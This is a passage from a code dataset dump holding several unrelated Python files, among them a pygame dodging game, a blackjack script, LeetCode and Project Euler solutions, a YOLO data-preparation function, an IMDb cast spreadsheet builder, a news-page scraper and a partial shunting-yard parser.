mode='auto')\n\n\n\n","sub_path":"inception-cnn.py","file_name":"inception-cnn.py","file_ext":"py","file_size_in_byte":5687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"506990910","text":"#import modules\nimport pygame, random, sys\nfrom pygame.locals import *\n\n#Set up constants\nWINDOWWIDTH=600\nWINDOWHEIGHT=600\nTEXTCOLOR=(255,255,255)\nBACKGROUNDCOLOR=(0,0,0)\n\n# Set up FPS\nFPS = 40\n\n# Set up the baddies\nBADDIEMINSIZE=10\nBADDIEMAXSIZE=40\nBADDIEMINSPEED=1\nBADDIEMAXSPEED=8\nADDNEWBADDIERATE=6\n\n# Change this number to change the player's speed\nPLAYERMOVERATE=5\n\n# ------ DEFINE FUNCTIONS ------\ndef terminate():\n pygame.quit()\n sys.exit()\n\n# Esentially pauses and waits for player to input a key.\ndef waitForPlayerToPressKey():\n while True:\n for event in pygame.event.get():\n if event.type == QUIT:\n terminate()\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE: #pressing ESC quits\n terminate()\n return\n\n# Determine if player has touched a baddies\ndef playerHasHitBaddie(playerRect, baddies):\n for b in baddies:\n if playerRect.colliderect(b['rect']):\n return True\n return False\n\n# Display text on screen\ndef drawText(text,font,surface,x,y):\n textobj=font.render(text, 1, TEXTCOLOR)\n textrect=textobj.get_rect()\n textrect.topleft=(x,y)\n surface.blit(textobj,textrect)\n\n#set up pygame, the window, and the mouse cursor\npygame.init()\nmainClock = pygame.time.Clock()\nwindowSurface = pygame.display.set_mode((WINDOWWIDTH,WINDOWHEIGHT),pygame.FULLSCREEN)\npygame.display.set_caption('Dodger')\npygame.mouse.set_visible(False)\nfont=pygame.font.SysFont(None,48)\n\n# This is for sounds if you want them\n# gameOverSound = pygame.mixer.Sound('gameover.wav')\n# pygame.mixer.music.load('background.mid')\n\n# Set up images\nplayerImage = pygame.image.load('player.png')\nplayerRect = playerImage.get_rect()\nbaddieImage = pygame.image.load('baddie.png')\n\n# Show start screen\ndrawText('Dodger',font,windowSurface,(WINDOWWIDTH/3),(WINDOWHEIGHT/3))\ndrawText('Press a key to start.',font, windowSurface,(WINDOWWIDTH/3)-30,(WINDOWHEIGHT/3)+50)\npygame.display.update()\nwaitForPlayerToPressKey()\n\n# Start the main game code\ntopScore=0\nwhile True:\n baddies = []\n score = 0\n playerRect.topleft = (WINDOWWIDTH/2,WINDOWHEIGHT/2)\n moveLeft = moveRight = moveUp = moveDown = False\n reverseCheat = slowCheat = False\n baddieAddCounter = 0\n # start background music\n # pygame.mixer.music.play(-1,0.0)\n # Start game loop\n while True:\n score += 1\n for event in pygame.event.get():\n if event.type == QUIT:\n terminate()\n if event.type == KEYDOWN:\n if event.key == ord('z'):\n reverseCheat = True\n if event.key == ord('x'):\n slowCheat = True\n if event.key == K_LEFT or event.key == ord('a'):\n moveRight = False\n moveLeft = True\n if event.key == K_RIGHT or event.key == ord('d'):\n moveLeft = False\n moveRight = True\n if event.key == K_UP or event.key == ord('w'):\n moveDown = False\n moveUp = True\n if event.key == K_DOWN or event.key == ord('s'):\n moveUp = False\n moveDown = True\n\n if event.type == KEYUP:\n if event.key == ord('z'):\n reverseCheat = False\n score = 0\n if event.key == ord('x'):\n slowCheat = False\n score = 0\n if event.key == K_ESCAPE:\n terminate()\n if event.key == K_LEFT or event.key == ord('a'):\n moveLeft = False\n if event.key == K_RIGHT or event.key == ord('d'):\n moveRight = False\n if event.key == K_UP or event.key == ord('w'):\n moveUp = False\n if event.key == K_DOWN or event.key == ord('s'):\n moveDown = False\n\n if event.type == MOUSEMOTION:\n # if the mouse moves, move the player where the cursor is\n playerRect.move_ip(event.pos[0]-playerRect.centerx,event.pos[1]-playerRect.centery)\n\n if not reverseCheat and not slowCheat:\n baddieAddCounter += 1\n\n if baddieAddCounter == ADDNEWBADDIERATE:\n baddieAddCounter = 0\n baddieSize = random.randint(BADDIEMINSIZE,BADDIEMAXSIZE)\n newBaddie = {'rect':pygame.Rect(random.randint(0, WINDOWWIDTH-baddieSize), 0 - baddieSize, baddieSize, baddieSize),\n 'speed': random.randint(BADDIEMINSPEED,BADDIEMAXSPEED),\n 'surface': pygame.transform.scale(baddieImage, (baddieSize,baddieSize)),}\n baddies.append(newBaddie)\n\n if moveLeft and playerRect.left > 0:\n playerRect.move_ip(-1 * PLAYERMOVERATE, 0)\n if moveRight and playerRect.right < WINDOWWIDTH:\n playerRect.move_ip(PLAYERMOVERATE,0)\n if moveUp and playerRect.top > 0:\n playerRect.move_ip(0,-1 * PLAYERMOVERATE)\n if moveDown and playerRect.bottom < WINDOWHEIGHT:\n playerRect.move_ip(0,PLAYERMOVERATE)\n\n pygame.mouse.set_pos(playerRect.centerx,playerRect.centery)\n\n # Move the baddies\n for b in baddies:\n if not reverseCheat and not slowCheat:\n b['rect'].move_ip(0,b['speed'])\n elif reverseCheat:\n b['rect'].move_ip(0,-5)\n elif slowCheat:\n b['rect'].move_ip(0,1)\n\n for b in baddies[:]:\n if b['rect'].top > WINDOWHEIGHT:\n baddies.remove(b)\n\n windowSurface.fill(BACKGROUNDCOLOR)\n drawText('Score: %s'%(score), font, windowSurface, 10, 0)\n drawText('Top Score: %s'%(topScore), font, windowSurface, 10,40)\n\n windowSurface.blit(playerImage, playerRect)\n for b in baddies:\n windowSurface.blit(b['surface'],b['rect'])\n pygame.display.update()\n\n\n if playerHasHitBaddie(playerRect, baddies):\n if score > topScore:\n topScore = score\n break\n\n mainClock.tick(FPS)\n\n drawText('GAME OVER', font, windowSurface,(WINDOWWIDTH/3),(WINDOWHEIGHT/3))\n drawText('Press a key to play again.',font, windowSurface,(WINDOWWIDTH/3)-80,(WINDOWHEIGHT/3)+50)\n pygame.display.update()\n waitForPlayerToPressKey()\n","sub_path":"Games/Dodger/Dodger.py","file_name":"Dodger.py","file_ext":"py","file_size_in_byte":6423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"12131195","text":"# coding=utf-8\nfrom OTLMOW.OTLModel.BaseClasses.OTLAttribuut import OTLAttribuut\nfrom abc import abstractmethod, ABC\nfrom UnitTests.TestClasses.OTLModel.Datatypes.KlAIMToestand import KlAIMToestand\n\n\n# Generated with OTLClassCreator. To modify: extend, do not edit\nclass AIMToestand(ABC):\n \"\"\"Voegt een attribuut toe aan de subklasse dat de huidige stand in de levenscyclus van het object aangeeft.\"\"\"\n\n typeURI = 'https://wegenenverkeer.data.vlaanderen.be/ns/implementatieelement#AIMToestand'\n \"\"\"De URI van het object volgens https://www.w3.org/2001/XMLSchema#anyURI.\"\"\"\n\n @abstractmethod\n def __init__(self):\n self._toestand = OTLAttribuut(field=KlAIMToestand,\n naam='toestand',\n label='toestand',\n objectUri='https://wegenenverkeer.data.vlaanderen.be/ns/implementatieelement#AIMToestand.toestand',\n definition='Geeft de actuele stand in de levenscyclus van het object.',\n owner=self)\n\n @property\n def toestand(self):\n \"\"\"Geeft de actuele stand in de levenscyclus van het object.\"\"\"\n return self._toestand.get_waarde()\n\n @toestand.setter\n def toestand(self, value):\n self._toestand.set_waarde(value, owner=self)\n","sub_path":"UnitTests/TestClasses/OTLModel/Classes/ImplementatieElement/AIMToestand.py","file_name":"AIMToestand.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"46157038","text":"#Problem \n'''\n2520 is the smallest number that can be divided by each of the numbers\n from 1 to 10 without any remainder.\n\n What is the smallest positive number that is evenly divisible by all\n of the numbers from 1 to 20?\n\n'''\n#Functions\ndef happy(x):\n list = [2,3,7,11,12,13,14,15,16,17,18,19]\n for i in list:\n if x%i!=0: return False\n return True\n#Main\nprint(\"Hit 'Enter' to Start\")\ninput()\nimport time\nstart=time.time()\n\n\ngrail = 2520\nwhile True:\n if happy(grail):\n print(grail)\n break\n else:\n grail += 20\n \n\n\n\n\n\n\n\n\n\n\nend=time.time() \nprint('It took',end-start,'sec to count it')\ninput()\n","sub_path":"Project 0005/5.724026203155518.py","file_name":"5.724026203155518.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"202427537","text":"\"\"\"Script to run the game.\"\"\"\n\nimport sys\nsys.path.append('../')\n\n\n# imports all the classes and fuctions needed to run the script\nfrom my_module.classes_and_functions import DeckOfCards, Player, Dealer\nfrom my_module.classes_and_functions import player_names, cards_value, bet, pun_machine\n\n\n# fun introduction\ninitial_answer = input('WELCOME TO VANI\\'S ZESTY GAME OF BLACKJACK. Are you ready to play?: ')\nprint('\\nWonderful. Game on.',\n '\\n' + '*****' * 15)\n\n# allows players to play again\nplay_again = True\nwhile play_again == True:\n \n # creates instances of a deck of cards and a dealer, then starts the game\n total_hand = DeckOfCards()\n dealer = Dealer()\n squad = player_names()\n print('\\nI am your dealer. This game is punny blackjack',\n '\\nand your goal is to beat me. The stakes are high.',\n '\\n' + '*****' * 15,\n '\\n\\nEach player begins with 500 USD.')\n\n # allows players to place bets\n bets = bet(squad, dealer)\n\n # starts with one random card face up for dealer\n dealer.hand = total_hand.shuffle(1)\n print('Dealer\\'s first card: ' + str(dealer.hand)) \n\n # choses two random cards for each player and adds them to their hand\n print('\\nPlayer\\'s hands: \\n')\n for person in squad:\n \n # puts cards in hand\n person.hand = total_hand.shuffle(2)\n print(person.name + ': ' + str(person.hand))\n \n # shows total value of hand\n total = cards_value(person.hand)\n print(' Your total is ' + str(total) + '.')\n \n # prints pun for each hand total, depending on the value\n try:\n \n print('\\n The chosen pun for your hand --\\n\\t' + pun_machine(total),\n '\\n' + '*****' * 15 + '\\n')\n \n except KeyError:\n \n print('\\n' + '*****' * 15)\n\n \n remaining_players = []\n \n # goes through each player's turn\n for person in squad:\n \n repeat = True\n total = cards_value(person.hand)\n \n # checks to see if first two cards gave blackjack\n if total == 21:\n \n # adds gained money for winning\n person.money += int(person.bet)*2.5\n print('Hand: ' + str(person.hand) + '\\t Total: ' + str(total))\n print('\\nCongrats Player {}! You win! \\\n You now have {} USD!'.format(person.name, person.money))\n \n # stops player's turn\n repeat = False\n \n # continues player's turn\n while repeat:\n \n # asks player to hit or pass\n again = input('Player ' + person.name + ', would you like to hit or pass? \\\n \\nYour current total is {}: '.format(total))\n \n if again == 'hit':\n \n # gives the player a new card and adds its value to their total\n new_card = total_hand.shuffle(1)\n person.hand.append(new_card[0])\n total = cards_value(person.hand)\n print('New hand: ' + str(person.hand) + '\\t New total: ' + str(total))\n \n elif again != 'hit':\n \n # shows the player where they stand if they don't want a new card\n total = cards_value(person.hand)\n print('Current hand: ' + str(person.hand) + '\\t Current total: ' + str(total))\n \n # ends player's turn\n break\n \n # prints pun for each hand total, depending on the value\n try:\n \n print('\\n The chosen pun for your hand --\\n\\t' + pun_machine(total),\n '\\n' + '*****' * 15)\n \n except KeyError:\n \n print('\\n' + '*****' * 15)\n \n \n # stops player's turn if they bust (get over 21)\n if total > 21:\n \n repeat = False\n print('\\nSorry, your cards exceeded 21. '\n 'You\\'re out. You leave today with {} USD.\\n'.format(person.money))\n \n # stops player's turn if they get blackjack (exactly 21)\n elif total == 21:\n \n repeat = False\n person.money += int(person.bet)*2.5\n print('\\nCongrats! You win! You now have {} USD!'.format(person.money))\n break\n \n # continues player's turn if they want to, and can hit again\n elif again == 'hit' and total < 21:\n \n continue\n \n # stops player's turn if they don't want to, but can hit again\n else:\n \n break\n \n # if player doesn't bust or get blackjack, \n # adds player to list that will go against the dealer\n if again == 'pass':\n remaining_players.append(person)\n \n # creates a space between each player to make it easier to see\n print('\\n')\n \n \n # checks if any players will face the dealer\n if bool(remaining_players):\n \n dealer_total = cards_value(dealer.hand)\n \n # gives dealer a random new card while their hand is less than 17\n while dealer_total < 17:\n \n new_card = total_hand.shuffle(1)\n dealer.hand.append(new_card[0])\n dealer_total = cards_value(dealer.hand)\n print('The dealer hits with a new hand of ' + str(dealer.hand),\n 'and a total of ' + str(dealer_total) + '. \\n' + '*****' * 15)\n \n # output if dealer gets blackjack\n if dealer_total == 21:\n \n print('The dealer has blackjack! {} goes to the house.'.format(dealer.total_money),\n ' Better luck next time!')\n \n # output if dealer cannot hit anymore but doesn't get blackjack\n elif dealer_total >= 17 and dealer_total < 21:\n \n print('The dealer cannot hit again.')\n \n # checks if each player beat the dealer\n for person in remaining_players:\n \n total = cards_value(person.hand)\n \n # output if dealer beat player\n if dealer_total > total:\n \n print('Sorry Player {}, the dealer\\'s cards',\n 'are higher than yours, you lose.'.format(person.name),\n '\\nYou leave today with {} USD.'.format(person.money))\n \n # output if player beat dealer\n elif dealer_total < total:\n \n person.money += int(person.bet) * 2\n print('Player {} beat the dealer!'.format(person.name),\n '\\tYou win with {} USD.'.format(person.money))\n \n # output for a push (player/dealer tie)\n else:\n \n print('Push! Player {} tied with the dealer.'.format(person.name),\n '\\tYou\\'re balance returns to 500 USD.')\n \n # output if dealer busts\n elif dealer_total > 21:\n \n print('The dealer lost! \\n\\nWinners\\' balances: \\n')\n \n # gives each remaining player winning money\n for person in remaining_players:\n \n person.money += int(person.bet) * 2\n print(person.name + ': ' + str(person.money) + ' USD')\n \n # end if no players face the dealer\n else:\n print('The dealer leaves with {} USD.'.format(dealer.total_money),\n 'Good game!')\n \n # allows players to play again\n final_answer = input('Type \"again\" if you would like a rematch: ')\n if final_answer == 'again':\n \n play_again = True\n \n else:\n \n # breaks loop to end game \n play_again = False\n print('\\nThanks for playing! See you next time!')\n","sub_path":"script/my_script.py","file_name":"my_script.py","file_ext":"py","file_size_in_byte":8123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"86012877","text":"#\r\n# @lc app=leetcode.cn id=515 lang=python3\r\n#\r\n# [515] 在每个树行中找最大值\r\n#\r\n# https://leetcode-cn.com/problems/find-largest-value-in-each-tree-row/description/\r\n#\r\n# algorithms\r\n# Medium (57.77%)\r\n# Likes: 52\r\n# Dislikes: 0\r\n# Total Accepted: 6.2K\r\n# Total Submissions: 10.8K\r\n# Testcase Example: '[1,3,2,5,3,null,9]'\r\n#\r\n# 您需要在二叉树的每一行中找到最大的值。\r\n# \r\n# 示例:\r\n# \r\n# \r\n# 输入: \r\n# \r\n# ⁠ 1\r\n# ⁠ / \\\r\n# ⁠ 3 2\r\n# ⁠ / \\ \\ \r\n# ⁠ 5 3 9 \r\n# \r\n# 输出: [1, 3, 9]\r\n# \r\n# \r\n#\r\n\r\n# @lc code=start\r\n# Definition for a binary tree node.\r\n# class TreeNode:\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\r\n\r\nclass Solution:\r\n def largestValues(self, root: TreeNode) -> List[int]:\r\n # BFS...\r\n res = []\r\n if not root:\r\n return res\r\n q = [root]\r\n while q:\r\n curlen = len(q)\r\n mx = q[0].val\r\n for n in q[0:curlen]:\r\n mx = max(mx, n.val)\r\n if n.left:\r\n q.append(n.left)\r\n if n.right:\r\n q.append(n.right)\r\n res.append(mx)\r\n q = q[curlen:]\r\n return res\r\n# @lc code=end\r\n\r\n","sub_path":"Medium/515.在每个树行中找最大值.py","file_name":"515.在每个树行中找最大值.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"367873108","text":"# -*- coding: utf-8 -*-\n\nimport logging\n\nimport CuriosityTrendingparser\n\nlogging.basicConfig(level=logging.DEBUG)\n\n\nclass Curiosity:\n def __init__(self, *args, **kwargs):\n self.args = args\n self.kwargs = kwargs\n\n @staticmethod\n def get_href():\n href_in_db, href_new, href_to_post = CuriosityTrendingparser.TrendingParser.change_href()\n\n class Topics:\n def __init__(self, topic_href, subjects_href, subjects_channel1, title, img1, text_section1, img2,\n text_section2, video1, *args, **kwargs):\n self.topic_href = topic_href\n self.subjects_href = subjects_href\n self.subjects_channel1 = subjects_channel1\n self.title = title\n self.img1 = img1\n self.text_section1 = text_section1\n self.img2 = img2\n self.text_section2 = text_section2\n self.video1 = video1\n self.args = args\n self.kwargs = kwargs\n\n\nif __name__ == '__main__':\n print('Модуль Cutiosity импортирован')\n","sub_path":"pycache/curiosity.py","file_name":"curiosity.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"271489181","text":"from sqlalchemy.ext.declarative import declarative_base\n\nclass Mixin:\n def as_dict(self):\n return {c.name: getattr(self, c.name) for c in self.__table__.columns}\n def as_clear_dict(self):\n _dict = {}\n for c in self.__table__.columns:\n if c.foreign_keys:\n continue\n val = getattr(self, c.name)\n if val:\n _dict[c.name] = val\n return _dict\n\nBase = declarative_base(cls=Mixin)","sub_path":"all-gists/e6203ab9ceccbd91caf195f31c7652a2/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"649418206","text":"#!/usr/bin/env python\n# coding=utf-8\n\nimport numpy as np\nimport PIL\nimport pdb\nimport cv2\n\nfrom lib.yolo.config import cfg\n\n\ndef prepare_roidb(imdb):\n sizes = [PIL.Image.open(imdb.image_path_at(i)).size for i in xrange(imdb.num_images)]\n #sizes = [cv2.imread(imdb.image_path_at(i)).size for i in xrange(imdb.num_images)]\n roidb = imdb.roidb\n \n for i in xrange(len(imdb.image_index)):\n width = sizes[i][0]\n height = sizes[i][1]\n label = np.zeros((20, 5))\n bboxes = roidb[i]['boxes']\n gt_classes = roidb[i]['gt_classes']\n \n scale_x = cfg.TRAIN.SIZE / width\n scale_y = cfg.TRAIN.SIZE / height\n\n for j in range(np.min((20, bboxes.shape[0]))):\n label[j, 0] = (bboxes[j, 0] * scale_x + bboxes[j, 2] * scale_x) / 2.\n label[j, 1] = (bboxes[j, 1] * scale_y + bboxes[j, 3] * scale_y) / 2.\n label[j, 2] = bboxes[j, 2] * scale_x - bboxes[j, 0] * scale_x\n label[j, 3] = bboxes[j, 3] * scale_y - bboxes[j, 1] * scale_y\n label[j, 4] = gt_classes[j]\n #pdb.set_trace()\n \n roidb[i]['label'] = label\n roidb[i]['object_num'] = np.array([np.min((20, bboxes.shape[0]))]) \n","sub_path":"inaction/yolo-tensorflow/lib/roi_data_layer/roidb.py","file_name":"roidb.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"506103597","text":"# Python program to convert binary tree to binary search tree\n\n''' As binary search tree is a binary tree which has following properties--\n 1::left subtree of a node contains only nodes which have node.data lesser than node's data.\n 2::right subtree of a node contains only nodes which have node.data greater than node's data.\n 3::there must be no duplicate nodes. \n\n\n\tTo convert a binary tree into a binary search tree, we follow following steps--\n\t\t1..traverse the binary tree and store it's node.data into an array.\n\t\t2..sort the array.\n\t\t3..again do inorder traversal of the tree and store the array elements to tree's nodes one by one.\n\tHere, Original structure of binary tree will remain same.\n'''\t\t\n\n\nfrom collections import deque #importing double ended queue so that we can do pop and append operation in O(1) time complexity.\nclass new_node(object):\n\tdef __init__(self,data):\n\t\tself.data=data\n\t\tself.left=None\n\t\tself.right=None\n\ndef Store_Inorder_Traversal(root,array): #function to store the inorder traversal of tree into an auxiliary array.\n\t\t\t\t\t\t\t\t\t\t # it will take O(n) time{n=no of nodes in tree} . \n\tif root==None:\n\t\treturn\n\tStore_Inorder_Traversal(root.left,array)\n\tarray.append(root.data)\n\tStore_Inorder_Traversal(root.right,array)\ndef Bt_to_Bst(root,array): # main function which will store array elements into the tree.\n\t\t\t\t\t\t\t # O(n) time \n\tif root==None:\n\t\treturn\n\tBt_to_Bst(root.left,array)\n\troot.data=array[0]\n\tarray.popleft() # if we use list in place of deque then poping an element from left side will takes O(n) time.\n\tBt_to_Bst(root.right,array)\ndef Inorder_Traversal(root):\n\tif root==None:\n\t\treturn \n\tInorder_Traversal(root.left)\n\tprint(root.data,end=' ')\n\tInorder_Traversal(root.right)\n\n\nif __name__==\"__main__\":\n\troot=new_node(8)\n\troot.left=new_node(7)\n\troot.right=new_node(6)\n\troot.left.left=new_node(5)\n\troot.left.right=new_node(4)\n\troot.right.left=new_node(3)\n\troot.right.right=new_node(2)\n\troot.right.right.right=new_node(1)\n\tprint(\"inorder_traversal of binary tree::\")\n\tInorder_Traversal(root)\n\tarray=deque([])\n\tStore_Inorder_Traversal(root,array)\n\tarray=deque(sorted(array)) # O(nlgn) time complexity to sort the array.\n\tBt_to_Bst(root,array)\n\tprint(\"\\n\")\n\tprint(\"inorder traversal of bst::\")\n\tInorder_Traversal(root)\n\n\n'''\n\tgiven binary tree is::\n\n\t 8\n\t // \\\\ \n\t 7 6\n\t // \\\\ // \\\\\n\t 5 4 3 2\n\t \\\\\n\t 1 \n\tit's inorder traversal is:: 5 7 4 8 3 6 2 1\n\n\tnew binary search tree of above binary tree will be::\n\n\t 4\n\t // \\\\ \n\t 2 6\n\t // \\\\ // \\\\\n\t 1 3 5 7\n\t \\\\\n\t 8\n\tit's inorder traversal is:: 1 2 3 4 5 6 7 8\n\t\n\tFrom above fig..we conclude that using this procedure the original structure of given binary tree will not change.\n\tTotal time complexity will be--\n\tO(n)+O(n)+O(nlgn)=O(nlgn).\n'''\n","sub_path":"BT_TO_BST.py","file_name":"BT_TO_BST.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"432043391","text":"import numpy as np\nimport os\nimport sys\nfrom numpy import genfromtxt\n\n# for the sake of making the argument simple\n# keep the different size epochs in different folders\n# this is done to minimize the programming overhead in searching and re-listing files\n# remedy : write a regex like pattern to sort the files by group\nepochs = 6000\nbase_path = \"/home/vibhatha/Documents/Research/logs/psgsvmc/2019_01_12/webspam/all/results/\"+str(epochs)+\"/\"\nresult_path = \"/home/vibhatha/Documents/Research/logs/psgsvmc/2019_01_12/webspam/all/results/moving_average/\"+str(epochs)+\"/\"\n\nepochs = 5000\nbase_path = \"/home/vibhatha/Documents/Research/logs/psgsvmc/2019_01_18/all/acc_cost/temp/\"\nresult_path = \"/home/vibhatha/Documents/Research/logs/psgsvmc/2019_01_18/all/acc_cost/temp_result/\"\n\nbase_path = \"/home/vibhatha/Documents/Research/logs/psgsvmc/2019_01_25/parallel/epsilon/epsilon_process/\" #available link\nresult_path = \"/home/vibhatha/Documents/Research/logs/psgsvmc/2019_01_25/parallel/epsilon/epochlog/acc/\" #available link\n\nbase_path = \"/home/vibhatha/Documents/Research/logs/psgsvmc/2019_02_12/epsilon/5001/\"\nresult_path = \"/home/vibhatha/Documents/Research/logs/psgsvmc/2019_02_12/epsilon/5001_processed/\"\n\n\n# Reference ; https://stackoverflow.com/questions/14313510/how-to-calculate-moving-average-using-numpy\ndef moving_average(a, w=3):\n n = a.shape[0]\n d = a.shape[1]\n print(n,d)\n res = []\n range1 = np.arange(0,n-1,w) # start sequence from 0 size to n-w\n range2 = np.arange(w, n, w) # end sequeunce from window size to n\n print(len(range1), len(range2))\n for i in range(0, len(range1)):\n start = range1[i]\n end = range2[i]\n x = a[start:end]\n x_avg = np.average(x)\n res.append(x_avg)\n res = np.array(res)\n res = np.reshape(res,(len(res),1))\n return res\n\ndef moving_average_set(a, window=3) :\n n = a.shape[0]\n d = a.shape[1]\n c0 = np.reshape(a[:,0],(n,1))\n c1 = np.reshape(a[:,1],(n,1))\n c2 = np.reshape(a[:,2],(n,1))\n c3 = np.reshape(a[:,3],(n,1))\n m_c0 = moving_average(c0, window)\n m_c1 = moving_average(c1, window)\n m_c2 = moving_average(c2, window)\n m_c3 = moving_average(c3, window)\n print(m_c0.shape, m_c1.shape, m_c2.shape, m_c3.shape)\n res= np.concatenate((m_c0,m_c1,m_c2,m_c3),axis=1)\n return res\n\n\ndef calc_moving_average(window=10):\n list = os.listdir(base_path)\n print(list)\n for file in list:\n print(file, \"In Progress\")\n my_data = genfromtxt(base_path+file, delimiter=',')\n mv_my_data = moving_average_set(my_data,window=window)\n new_file_name = file + \"_mv=\"+str(window)\n np.savetxt(result_path+new_file_name, mv_my_data, delimiter=',')\n print(file, \"Completed\")\n\ncalc_moving_average(10)","sub_path":"epoch_moving_average.py","file_name":"epoch_moving_average.py","file_ext":"py","file_size_in_byte":2761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"240511241","text":"from imdb import IMDb\nimport xlsxwriter\n\nCOLUMN_WIDTH = 2\n\nSERIES_ID = '0944947'\n\n\ndef __main__():\n ia = IMDb()\n\n series = ia.get_movie(SERIES_ID)\n\n series_title = series['title']\n\n ia.update(series, 'episodes')\n\n episode_cast_dict = dict()\n\n season_episode_dict = dict()\n\n for seasonNumber in sorted(series['episodes'].keys()):\n # for seasonNumber in range(1, 2):\n print(\"Season {}\".format(seasonNumber))\n season_episode_dict[seasonNumber] = len(series['episodes'][seasonNumber])\n for episodeNumber in sorted(series['episodes'][seasonNumber]):\n episode = series['episodes'][seasonNumber][episodeNumber]\n ia.update(episode, 'full credits')\n for cast in episode['cast']:\n if cast not in episode_cast_dict:\n episode_cast_dict[cast] = list()\n episode_cast_dict[cast].append('{}:{}'.format(str(seasonNumber), str(episodeNumber)))\n\n workbook = xlsxwriter.Workbook('{}.xlsx'.format(series_title))\n worksheet = workbook.add_worksheet()\n\n cell_format = workbook.add_format()\n cell_format.set_bg_color('green')\n\n row_number = 0\n column_number = 0\n worksheet.write(row_number, column_number, 'Character')\n column_number = column_number + 1;\n for seasonNumber in season_episode_dict.keys():\n worksheet.write(row_number, column_number, \"S{}\".format(str(seasonNumber)))\n worksheet.set_column(column_number, column_number + season_episode_dict[seasonNumber], COLUMN_WIDTH)\n column_number = column_number + season_episode_dict[seasonNumber]\n print(\" \")\n\n max_character_name = 0\n for cast, episodes in sorted(episode_cast_dict.items(), key=lambda x: len(x[1]), reverse=True):\n column_number = 0\n row_number = row_number + 1\n actor_name = \"{} ({})\\t\".format(cast['name'], cast.currentRole)\n max_character_name = max(max_character_name, len(actor_name))\n worksheet.write(row_number, column_number, actor_name)\n for seasonNumber in season_episode_dict.keys():\n for episodeNumber in range(1, season_episode_dict[seasonNumber] + 1):\n column_number = column_number + 1\n if '{}:{}'.format(seasonNumber, episodeNumber) in episodes:\n worksheet.write_blank(row_number, column_number, ' ', cell_format)\n else:\n worksheet.write_blank(row_number, column_number, ' ')\n\n worksheet.set_column(0, 0, max_character_name)\n workbook.close()\n\n\n__main__()\n","sub_path":"Day2/imdbCastParser.py","file_name":"imdbCastParser.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"27778079","text":"# 抓取澎湃新闻练习 -- 完成\n# 澎湃新闻有下拉更新,交互练习 -- 完成\n# 存储到文本文件当中\n# (MongoDB)可视化 MYSQL?\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom pyquery import PyQuery as pq\nimport time\n\nbrowser = webdriver.Chrome()\nwait = WebDriverWait(browser, 10)\n\n\ndef index_page():\n try:\n url = 'https://www.thepaper.cn/channel_25950'\n browser.get(url)\n try:\n # 下拉进度条,新闻刷新。循环6次,等待时间6秒\n for i in range(1, 3):\n browser.execute_script('window.scrollTo(0, document.body.scrollHeight)')\n time.sleep(6)\n except Exception as ex:\n print(ex)\n get_products()\n except TimeoutException:\n index_page()\n\n\ndef get_products():\n html = browser.page_source\n doc = pq(html)\n items = doc('#mainContent .news_li').items()\n for item in items:\n title = item.find('h2>a').text()\n news = item.find('p').text()\n author = item.find('.pdtt_trbs>a').text()\n times = item.find('span').text()\n file = open('pengpai.txt', 'a', encoding='utf-8')\n file.write('\\n'.join([title, news, author, times]))\n file.write('\\n' + '=' * 50 + '\\n')\n file.close()\n\n\ndef main():\n index_page()\n\n\nif __name__ == '__main__':\n main()","sub_path":"pengpai.py","file_name":"pengpai.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"383532387","text":"'''\nSimple Shunting Yard Algorithm\n'''\noperatorsMap = [ \n ('+', 2),\n ('-', 2),\n ('*', 4),\n ('/', 4),\n ('^', 8)\n]\n\ndef is_operator(x):\n val = None\n res = False\n\n for operator in operatorsMap:\n if x in operator:\n val = operator[1]\n res = True\n\n return res, val\n\ndef add_to_stack_or_queue(operators, operands, x, next_token_val):\n if len(operators) == 0:\n operators.insert(0, x)\n else:\n peek = operators[0]\n\n is_oper, prev_token_val = is_operator(peek)\n\n if is_oper:\n if next_token_val > prev_token_val:\n operators.insert(0, x)\n else:\n operators.remove(peek)\n operands.append(peek)\n\n add_to_stack_or_queue(operators, operands, x, next_token_val)\n else:\n raise Exception('Something goes wrong!')\n\ndef infix_to_postifx(expression):\n operators = []\n operands = []\n\n for x in expression.split(' '):\n is_oper, val = is_operator(x)\n\n if is_oper:\n add_to_stack_or_queue(operators, operands, x, val)\n else:\n operands.append(x)\n \n postfix = []\n\n while len(operands) > 0:\n operand_item = operands[0]\n postfix.append(operand_item)\n operands.remove(operand_item) \n \n while len(operators) > 0:\n operator_item = operators[0]\n postfix.append(operator_item)\n operators.remove(operator_item)\n \n return ' '.join(postfix)\n\n\ndef calculate(postfix):\n print(postfix)\n\n operands = []\n\n for x in postfix.split(' '):\n is_oper, token_value = is_operator(x)\n \n if is_oper:\n val_1 = operands[1]\n val_2 = operands[0]\n operands.remove(val_1)\n operands.remove(val_2)\n\n if x == '+':\n operands.insert(0, val_1 + 